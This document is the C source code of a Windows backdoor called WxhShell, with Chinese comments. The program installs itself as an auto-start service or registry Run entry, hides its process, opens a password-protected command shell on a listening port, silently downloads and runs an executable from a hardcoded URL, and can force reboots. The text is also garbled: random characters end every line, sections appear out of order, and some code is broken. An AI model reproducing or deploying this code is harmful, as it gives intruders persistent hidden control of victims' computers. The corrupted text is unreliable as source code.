    if(Boot(SHUTDOWN)) =OO_TPEZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZGhE2np  
    else { /IV:JVT  
    closesocket(wsh); x)vYc36H  
    ExitThread(0); <WBGPzVZE  
    } YQX>)'  
    break; D?5W1m]E,s  
    } o(~JZi k  
  // 获取shell P!YT{}  
  case 's': { G';oM;~/|  
    CmdShell(wsh); ~`_nw5y  
    closesocket(wsh); .#WF'  
    ExitThread(0); '}4[m>/  
    break; W {dx\+  
  } )vGRfFjw_  
  // 退出 GJy,)EO6{  
  case 'x': { b<.+WkO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'Dk(jpYB  
    CloseIt(wsh); !b _<_Y{l  
    break; 9R;s;2$.  
    } `(B1 "qRi  
  // 离开 a/)TJv  
  case 'q': { u{p\8v%7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bdbw!zRR$  
    closesocket(wsh); JBUJc  
    WSACleanup(); " 31C8  
    exit(1); 9CBB,  
    break; V (!b!i@  
        } _9 Gy`  
  } R#\8jvv  
  } n{' [[2U  
}.b[az\T  
  // 提示信息 H V   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y @.JW  
} (uV7N7 <1  
  } ^ACp_RM  
'pm2C6AC  
  return; (vj2XiO^+  
} zLh ~x  
rX{|]M":T  
// shell模块句柄 =h_4TpDQ  
int CmdShell(SOCKET sock) \v-> '  
{ zRE7 w:  
STARTUPINFO si; Zp__  
ZeroMemory(&si,sizeof(si)); acGmRP9g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $yFur[97C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MzG(+B  
PROCESS_INFORMATION ProcessInfo; :Dr& {3>  
char cmdline[]="cmd"; HZK0Ldf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]-PF?8  
  return 0; dNJK[1e6  
} <&L;9fr  
J0=`n (48B  
// 自身启动模式 ` chf8  
int StartFromService(void) y6PAXvv'{  
{ o$-8V:)6d  
typedef struct W X\%FJ  
{ )Y *?VqZn  
  DWORD ExitStatus; *V"cu  
  DWORD PebBaseAddress; s~]nsqLt9p  
  DWORD AffinityMask; '}rDmt~  
  DWORD BasePriority; $Jr`4s  
  ULONG UniqueProcessId; nO|S+S_9  
  ULONG InheritedFromUniqueProcessId; zA"D0fr  
}   PROCESS_BASIC_INFORMATION; Y\%}VD2k  
k Lv_P[I  
PROCNTQSIP NtQueryInformationProcess; |t]9RC.;7  
ToMX7xz6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .i=%gg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D{l.WlA.  
h |lQ TT  
  HANDLE             hProcess; &^uzg&,;  
  PROCESS_BASIC_INFORMATION pbi; U/iAP W4U  
6=@n b3D%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #63/;o:l$  
  if(NULL == hInst ) return 0; {X =\  
l.34h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .e"jnP~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U|Jo[4A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6/-!oo   
zEhy0LLm  
  if (!NtQueryInformationProcess) return 0; #VO2O0GR  
:,ym)|YV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wig0OZj  
  if(!hProcess) return 0; C3b'Q  
y\S7oD(OR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5~44R@`  
v =?V{"wk!  
  CloseHandle(hProcess);  CMg83  
rvmI 8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KOmP-q=6  
if(hProcess==NULL) return 0; ,X$Avdc2  
6Ss{+MF|v  
HMODULE hMod; }agl:~C  
char procName[255]; g-:)} 8d6  
unsigned long cbNeeded; asq/_`  
Hwc{%.%ae  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 52["+1g\  
hL3,/^;E,  
  CloseHandle(hProcess); 5{u6qc4FW  
G4{qWa/  
if(strstr(procName,"services")) return 1; // 以服务启动 2?r8>#_*  
r2](~&i2  
  return 0; // 注册表启动 a:| 4q  
} aEk*-v#{  
7 IHD?pnZ  
// 主模块 NSgHO`gU8  
int StartWxhshell(LPSTR lpCmdLine) ( Lu.^  
{ >C-_Zv<!T\  
  SOCKET wsl; dI 5sqM:  
BOOL val=TRUE; /-hF<oNQ  
  int port=0; hZ'oCRM  
  struct sockaddr_in door; QlS5B.h,  
x ?V/3zW  
  if(wscfg.ws_autoins) Install(); nfJ8Rt   
k41la?  
port=atoi(lpCmdLine); *M|\B|A.  
z8j(SI;3  
if(port<=0) port=wscfg.ws_port; a?Y1G3U'  
i]53A0l  
  WSADATA data; _$'Mx'IC=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^kl9U+  
x<Zhj3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9kF#*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eb/V}%  
  door.sin_family = AF_INET; VA%"IAl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fkz  
  door.sin_port = htons(port); B@;)$1-UT  
YEQW:r_h.S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &CL|q+-  
closesocket(wsl); ZM vTDH!  
return 1; 6|KX8\, A@  
} TN %"RL  
bSr 'ji  
  if(listen(wsl,2) == INVALID_SOCKET) { 6oP{P_Pxi  
closesocket(wsl); h3kHI?jMWG  
return 1;  (v`;ym  
} #8z,'~\  
  Wxhshell(wsl); w}Upa(dU  
  WSACleanup(); =_'cG:=)  
I:e2sE ":  
return 0; N-rm k  
/SXz_ e  
} qp W#!Vbx  
2Z O'X9  
// 以NT服务方式启动 j>o +}p?3I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bJ|?5  
{ =GQ^uVf1  
DWORD   status = 0; 3] qlz?5  
  DWORD   specificError = 0xfffffff; O&,O:b:@  
xplo Fw~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s3M84wz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x ct U.)p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Idlu1g  
  serviceStatus.dwWin32ExitCode     = 0; | sFe:TX  
  serviceStatus.dwServiceSpecificExitCode = 0; |nEV Oy>'  
  serviceStatus.dwCheckPoint       = 0; r}\h\ {  
  serviceStatus.dwWaitHint       = 0; Is@a,k  
&'7"i~pC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~+#--BhV  
  if (hServiceStatusHandle==0) return; ?*'$(}r3  
,8I AhQa  
status = GetLastError(); * |HZ&}  
  if (status!=NO_ERROR)  j/9QV  
{ KupMndK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CjQ"oQw  
    serviceStatus.dwCheckPoint       = 0; 5FSv"=  
    serviceStatus.dwWaitHint       = 0; gOyY#]g  
    serviceStatus.dwWin32ExitCode     = status; x~;EH6$5'/  
    serviceStatus.dwServiceSpecificExitCode = specificError; tHtV[We.:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Tj"Fl\h  
    return; <M,H9^&#l3  
  } r.W,-%=bL  
rh`.$/^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yg)V*%0n  
  serviceStatus.dwCheckPoint       = 0; M%{?\)s  
  serviceStatus.dwWaitHint       = 0; g`OOVaB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -(w~LT$ "  
} zw: C*sY  
z"K( bw6  
// 处理NT服务事件,比如:启动、停止 sdf%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *kQCW#y0  
{ ~B!O~nvdQ  
switch(fdwControl) DvX3/z#T  
{ Iv(Qa6(  
case SERVICE_CONTROL_STOP: naI v=  
  serviceStatus.dwWin32ExitCode = 0; }{8Fo4/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HB7(  
  serviceStatus.dwCheckPoint   = 0; -k&{nD|  
  serviceStatus.dwWaitHint     = 0; m`$>:B  
  { P;[Y42\z|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Blbq3y+Sq  
  } ]1?=jlUl  
  return; 3l%,D: ?  
case SERVICE_CONTROL_PAUSE: M{xVkXc>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?{: D,{+  
  break; HRV*x!|I  
case SERVICE_CONTROL_CONTINUE: 3%R{"Q"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :B=8_M  
  break; NGD*ce"w  
case SERVICE_CONTROL_INTERROGATE: Q0cY/'>4  
  break; x48'1&m  
}; 7B(bH8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `4%;qLxngP  
} 5_)@B]~nM  
3eTrtCe$  
// 标准应用程序主函数 HmExfW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^IGyuj0]jG  
{ %X9b=%'+  
\V^*44+ <!  
// 获取操作系统版本 jJVT_8J  
OsIsNt=GetOsVer(); &$c5~9p\B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7':f_]  
h}|6VJ@.  
  // 从命令行安装 1s`)yu^`v  
  if(strpbrk(lpCmdLine,"iI")) Install(); U,<]J*b(@4  
C ]'g:93L  
  // 下载执行文件 "#pzZ)Zh  
if(wscfg.ws_downexe) { >+ ]R4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f]8!DXEA  
  WinExec(wscfg.ws_filenam,SW_HIDE); ejklpa ./  
} $(gGoL<  
fpvvV(  
if(!OsIsNt) { Ad;S=h8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 s=N#CE  
HideProc(); #, Q}NO#vT  
StartWxhshell(lpCmdLine); /2e%s:")h  
} BR36}iS;V  
else )C {h1 `  
  if(StartFromService()) pp~3@_)b  
  // 以服务方式启动 $;Vc@mYGW;  
  StartServiceCtrlDispatcher(DispatchTable); i3Hz"Qs;  
else Sty! atEWT  
  // 普通方式启动 jJ a V  
  StartWxhshell(lpCmdLine); lwOf)jK:J  
s>|Z7[*  
return 0; 0e+W/Tq  
} >5;N64]!)  
Y{Da+  
e&QS#k  
~uI**{  
=========================================== {'h_'Y`bOQ  
;1W6"3t-Y  
$Z;BQJVH  
2{ o0@  
Vkr`17`G  
dhHEE|vrz  
" 1E8H%2$ V  
3J%V%}mD  
#include <stdio.h> 9Ct_$.Q .  
#include <string.h> 4'SaEsA~  
#include <windows.h> 3;*z3;#}  
#include <winsock2.h> upypxC  
#include <winsvc.h> 3Y z]8`C  
#include <urlmon.h> ]9jZndgC  
&<au/^F  
#pragma comment (lib, "Ws2_32.lib") Q|Pbt(44  
#pragma comment (lib, "urlmon.lib") -(*nSD9  
g96T*T  
#define MAX_USER   100 // 最大客户端连接数 ~,ynJ]_aJB  
#define BUF_SOCK   200 // sock buffer ^7uX$  
#define KEY_BUFF   255 // 输入 buffer SIq1X'7  
\a\= gn   
#define REBOOT     0   // 重启 :pwa{P  
#define SHUTDOWN   1   // 关机 Ap%O~wA'  
'61i2\[lZQ  
#define DEF_PORT   5000 // 监听端口 9x=3W?K:,  
4O!E|/`wO  
#define REG_LEN     16   // 注册表键长度 b M"fk&  
#define SVC_LEN     80   // NT服务名长度 nfX12y_SXL  
tBseqS3<  
// 从dll定义API Ik j=`,a2B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *>k!hq;j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ic-IN~J-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !z MDP/V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uTPjR[  
e*:}$u8 a  
// wxhshell配置信息 KAed!z9  
struct WSCFG { 9? 2  
  int ws_port;         // 监听端口 D`Gt  
  char ws_passstr[REG_LEN]; // 口令 P-'_}*wxi  
  int ws_autoins;       // 安装标记, 1=yes 0=no MiJ6n[iv  
  char ws_regname[REG_LEN]; // 注册表键名 > \3ah4"o  
  char ws_svcname[REG_LEN]; // 服务名 R:/ha(+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R)+t]}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'T7x@a`b)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d+6]u_J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rB%y6P B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3OP.12^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0(gq; H5x'  
Nb;H`<JP  
}; LkBZlh_  
&>(gt<C$  
// default Wxhshell configuration =i>\2J%'R  
struct WSCFG wscfg={DEF_PORT, :CaTP%GW  
    "xuhuanlingzhe", IU#x[P!  
    1, yNa;\UF  
    "Wxhshell", 1fFj:p./l_  
    "Wxhshell", *HE^1IEl  
            "WxhShell Service", #`ls)-`7  
    "Wrsky Windows CmdShell Service", 7,'kpyCj  
    "Please Input Your Password: ", 40#9]=;}  
  1, 51by  
  "http://www.wrsky.com/wxhshell.exe", MBw-*K'?zB  
  "Wxhshell.exe" $^_|j1 z#i  
    }; WUEHB  
T8XY fcc*h  
// 消息定义模块 m\vmY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dE5D3ze  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1] #9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W7=V{}b+  
char *msg_ws_ext="\n\rExit."; p[v#EyoC  
char *msg_ws_end="\n\rQuit."; dqc1 q:k?$  
char *msg_ws_boot="\n\rReboot..."; qZk:mlYd  
char *msg_ws_poff="\n\rShutdown..."; wLJ]&puwm  
char *msg_ws_down="\n\rSave to "; j6g@tx^)'  
x83a!9  
char *msg_ws_err="\n\rErr!"; 4w$_ ]ke  
char *msg_ws_ok="\n\rOK!"; ^Q.,\TL01  
9}P"^N  
char ExeFile[MAX_PATH]; 6f)2F< 7  
int nUser = 0; kV&9`c+  
HANDLE handles[MAX_USER]; M\D]ml~  
int OsIsNt; S%mfs!E>  
DWiBG  
SERVICE_STATUS       serviceStatus; a~ ]bD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~i0R^qfr  
\9{F5S z  
// 函数声明 sZhM a>  
int Install(void); : c.JhE3D  
int Uninstall(void); ~i~%~doa  
int DownloadFile(char *sURL, SOCKET wsh); kc$)^E7  
int Boot(int flag); w?y 6nTg<  
void HideProc(void); E JK0  
int GetOsVer(void); },@^0UH4c  
int Wxhshell(SOCKET wsl); v;EQ, NL  
void TalkWithClient(void *cs); 9X}I>  
int CmdShell(SOCKET sock); > m q,}!n  
int StartFromService(void); SO f{Hx0C6  
int StartWxhshell(LPSTR lpCmdLine); !>$4]FkV  
Vb|#MNf)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q<(YP.k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <skajQQ  
1B=>_3_  
// 数据结构和表定义 0?DC00O  
SERVICE_TABLE_ENTRY DispatchTable[] = ~P*4V]L^  
{ /t%u"dP"T~  
{wscfg.ws_svcname, NTServiceMain}, O9M{  ).  
{NULL, NULL} 0s#Kp49-  
}; 9N8I ip]w  
M8&}j  
// 自我安装 MCTsi:V>+  
int Install(void) \nqkA{;B{  
{ p0:kz l4$  
  char svExeFile[MAX_PATH]; OO) ~HV4\  
  HKEY key; +IFw_3$  
  strcpy(svExeFile,ExeFile); XGrue6 ya  
23\RJpKb  
// 如果是win9x系统,修改注册表设为自启动 0&+k.Vg  
if(!OsIsNt) { 9xI GV!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6xK[34~ 6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Zb/  
  RegCloseKey(key); H}}$V7]^),  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *e>]~Z,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7[#yu2  
  RegCloseKey(key); A^\.Z4=d"  
  return 0; 4u;9J*r4  
    } */qtzt  
  } 4,Ic}CvM  
} \nNXxTxX!  
else { dihjpI_  
Uz7oL8  
// 如果是NT以上系统,安装为系统服务 %r\n%$@_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 21X`h3+=  
if (schSCManager!=0) Dim> 7Wbh  
{ 4BL;FO  
  SC_HANDLE schService = CreateService #6v27:XK  
  ( 'dG%oDHX]P  
  schSCManager, ]}="m2S3  
  wscfg.ws_svcname, `r"+644  
  wscfg.ws_svcdisp, JuR"J1MY  
  SERVICE_ALL_ACCESS, o G*5f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G3P &{.v  
  SERVICE_AUTO_START, 6fo3:P*O  
  SERVICE_ERROR_NORMAL, K)tQ]P  
  svExeFile, "p&Y^]  
  NULL, CqMhk  
  NULL, p9!"O  
  NULL, N?Q+ >  
  NULL, yF}OfK?0f  
  NULL ))kF<A_MK  
  ); z G }?  
  if (schService!=0) f"G-  
  { CvSIV7zYo  
  CloseServiceHandle(schService); ?Ea;J0V  
  CloseServiceHandle(schSCManager); Yf,K#' h:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >^Q&nkB"B  
  strcat(svExeFile,wscfg.ws_svcname); O|IG_RL]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BF*kb2"GZ6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ i)bq6  
  RegCloseKey(key); ^ 2GHe<Y  
  return 0; 2,2Z`X  
    } t.8 GT&p  
  } 2"P 99$"  
  CloseServiceHandle(schSCManager); 6k{2 +P  
} ,_aM`%q?Fj  
} Ix@&$!'k  
i$G;f^Z!Y  
return 1; :K`ESq!8u  
} K;?,FlH  
`+'rib5  
// 自我卸载 6oaazB^L  
int Uninstall(void) _R'Fco  
{ sIG7S"k>p  
  HKEY key; 5Wyz=+?m|  
^'CPM6J  
if(!OsIsNt) { 4 %PfrJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  B[=(#W  
  RegDeleteValue(key,wscfg.ws_regname); )[H{yQ  
  RegCloseKey(key); ,g-EW jN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X'.qYsS  
  RegDeleteValue(key,wscfg.ws_regname); KoE8 Mp  
  RegCloseKey(key); 'E/*d2CDM(  
  return 0; 9CA^B2u  
  } 1c3TN#|)W  
} s+Fi @lg,  
} bwVPtu`  
else { [Vd[-  
$vHU$lZ/W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U4m9e|/H;z  
if (schSCManager!=0) tQZs.1=z  
{ RZM"~ 0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >AoK/(yL.  
  if (schService!=0) Z3>N<u8)  
  { ,jXM3?>B  
  if(DeleteService(schService)!=0) { ]k9)G*  
  CloseServiceHandle(schService); 4}_O`Uxh  
  CloseServiceHandle(schSCManager); `D9]*c !mO  
  return 0; m(], r})  
  } S3L~~X/=  
  CloseServiceHandle(schService); 3qY K_M^[  
  } >=]'hyn]]  
  CloseServiceHandle(schSCManager); u6`=x$&  
} k >t )g-,2  
} kYzC#.|1  
8ElKD{.BU8  
return 1; pO8ePc@=D  
} U4 13?Pe  
V9ssH87#  
// 从指定url下载文件 }FzqW*4~  
int DownloadFile(char *sURL, SOCKET wsh) )c l5B{1P  
{ Wf{O[yL*  
  HRESULT hr; JG9`h#  
char seps[]= "/"; : tWU .f#  
char *token; V5p= mmnA,  
char *file; P"<U6zM\sP  
char myURL[MAX_PATH]; +~xnXb1  
char myFILE[MAX_PATH]; 7' S@3   
J9K3s_SN  
strcpy(myURL,sURL); rDm'Z>nTf  
  token=strtok(myURL,seps); Oy 2+b1{  
  while(token!=NULL) -s9P 8W  
  { Rb(SBa  
    file=token; zG e'*Qei  
  token=strtok(NULL,seps); s?ko?qN(  
  } %cE 2s`  
S(\9T1DVe  
GetCurrentDirectory(MAX_PATH,myFILE); 5OoN!TEM  
strcat(myFILE, "\\"); ~G27;Npy  
strcat(myFILE, file); 3Vp# a:  
  send(wsh,myFILE,strlen(myFILE),0); ho>k$s?  
send(wsh,"...",3,0); 9b?SHzAa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?|:BuHkT  
  if(hr==S_OK) WD'#5]#Y  
return 0; :>itXD!  
else #GJ dZ  
return 1; %F kMv  
K-&V,MI  
} 6\61~u~  
a,78l@d(  
// 系统电源模块 o[E_Ge}g8  
int Boot(int flag) iMfngIs |  
{ P;pl,~  
  HANDLE hToken; ?YeWH WM  
  TOKEN_PRIVILEGES tkp; -48vJR*tC  
kD[ r.Dma  
  if(OsIsNt) { 6i0A9SN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w1UA?+43  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =}PdH`S  
    tkp.PrivilegeCount = 1; z"*/mP2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f<A5?eKw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); udeoW-_  
if(flag==REBOOT) { * !^<m0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N25V ]  
  return 0; "(qw-kil  
} A{B/lX)  
else { ':R,53tjl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d6i6hcQE  
  return 0; }-~T<egF  
} )*c> |7G  
  } JF/,K"J  
  else { YIR R=qpn  
if(flag==REBOOT) { :$+-3_oLMQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "*O4GPj  
  return 0; .CSS}4  
} -[L!3jU  
else { oq*N_mP0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <_(/X,kBK  
  return 0; "`[!Lz  
} WMMO5_M z  
} !a$ D4(`v  
ly WwGR  
return 1; -l}IZY  
} E\;ikX&1  
l1]p'Liuu  
// win9x进程隐藏模块 ~SvC[+t+U  
void HideProc(void) ^uJU}v:  
{ -uh(?])H  
~afg)[(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2YuN~-  
  if ( hKernel != NULL ) Ej7 /X ~  
  { 0j(M* sl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fIGFHZy,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  lWm'  
    FreeLibrary(hKernel); >%E([:$A  
  } M/Pme&%  
e?bYjJ q  
return; m?HZ;  
} 6!^[];%xN  
Ap{}^  
// 获取操作系统版本 -*2Mf Mh  
int GetOsVer(void) `"@X.}\  
{ U}SXJH&&E  
  OSVERSIONINFO winfo; 7*DMVok:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n}xhW'3hU=  
  GetVersionEx(&winfo); S(aZ4{a@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e4FM} z[  
  return 1; B^D(5  
  else >+5?F*`\D*  
  return 0; j]0^y}5f+s  
} !6&W,0<  
b%f[p/no  
// 客户端句柄模块 80M;4nH^5  
int Wxhshell(SOCKET wsl) )rLMIk  
{ -yDs< Xl  
  SOCKET wsh; H;aYiy  
  struct sockaddr_in client; }6 5s'JB  
  DWORD myID; 3\;27&~gV  
p (FlR?= S  
  while(nUser<MAX_USER)  g/UaYCjM  
{ FI8Oz,  
  int nSize=sizeof(client); A~nf#(!^]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \8O O)98'  
  if(wsh==INVALID_SOCKET) return 1; ^% Q|s#w.  
VE2tq k%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e$c?}3E!z  
if(handles[nUser]==0) ,a?\M M9$  
  closesocket(wsh); {5*|C-WWtG  
else *sQcg8{^  
  nUser++; nxQ?bk}*d  
  } 6{d6s#|%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1r r@  
"x'),  
  return 0; $V6^G*Q  
} &p<(_|Af  
g=}v>[k E  
// 关闭 socket CGw--`#\  
void CloseIt(SOCKET wsh) Bqws!RM'&@  
{ m xw dugr`  
closesocket(wsh); o-7>eE}+  
nUser--; IGX:H)&*  
ExitThread(0); ,G^[o,hS  
} } wSi~^*  
^C&+ ~+  
// 客户端请求句柄 j*T]HaM  
void TalkWithClient(void *cs) =j0x.f Se  
{ ~#:e*:ro  
151tXSzLT  
  SOCKET wsh=(SOCKET)cs; ~c{:DM  
  char pwd[SVC_LEN]; P4 ul[zZ  
  char cmd[KEY_BUFF]; +?RGta'%k  
char chr[1]; !a1i Un9  
int i,j; /7$mxtB5%L  
'!v c/Hw  
  while (nUser < MAX_USER) { +V v+K(lh$  
")s!L"x  
if(wscfg.ws_passstr) { NnxM3*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "C%!8`K{a*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]0c Pml  
  //ZeroMemory(pwd,KEY_BUFF); b`cYpcs  
      i=0; J."{<&  
  while(i<SVC_LEN) { hQJWKAf,/  
;kaHN;4?  
  // 设置超时 VmQh$&h  
  fd_set FdRead; v@ONo?)  
  struct timeval TimeOut; SA6hbcYk  
  FD_ZERO(&FdRead); DOD6Liau{Q  
  FD_SET(wsh,&FdRead); %/0gWG  
  TimeOut.tv_sec=8; Rag iV6c  
  TimeOut.tv_usec=0; ucg$Ed  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n~z\?Y=*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9+CFRYC  
GCE!$W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EHf)^]Z  
  pwd=chr[0]; [J\DB)V/  
  if(chr[0]==0xd || chr[0]==0xa) { *)VAaGUX>  
  pwd=0; ='/Z;3jt]x  
  break; 'ND36jHcRD  
  } |uha 38~  
  i++; zi!#\ s^  
    } l[n@/%2  
+802`eax  
  // 如果是非法用户,关闭 socket 4e%8D`/=M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6c\DJD  
} q@Kk\m  
%<U{K;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G j6. Iv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t!l%/$-  
>iy^$bqF  
while(1) { J9@}DB  
&G{2s J5{  
  ZeroMemory(cmd,KEY_BUFF); \.>.c g  
vj3isI4lU  
      // 自动支持客户端 telnet标准   oa0X5}D  
  j=0; g3rRhS  
  while(j<KEY_BUFF) { Ex,JB +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); npj/7nZj  
  cmd[j]=chr[0]; }'`xu9<  
  if(chr[0]==0xa || chr[0]==0xd) { N$'>XtO  
  cmd[j]=0; gB+ G'I  
  break; ;QidDi_s>  
  } wW()Zy0)  
  j++; a;&}zcc*  
    } i`~~+6`J  
Yq0# #__  
  // 下载文件 5+FLSk  
  if(strstr(cmd,"http://")) { 0ny{)Sd6um  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K`gc 4:A  
  if(DownloadFile(cmd,wsh)) R9=K(pOT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E._hg+ (Hi  
  else e?vj+ZlS$f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $`Rxn*}V4#  
  } @Z=wE3T@  
  else { BK*UR+,  
/#IH -2N  
    switch(cmd[0]) { <{ # <5 8  
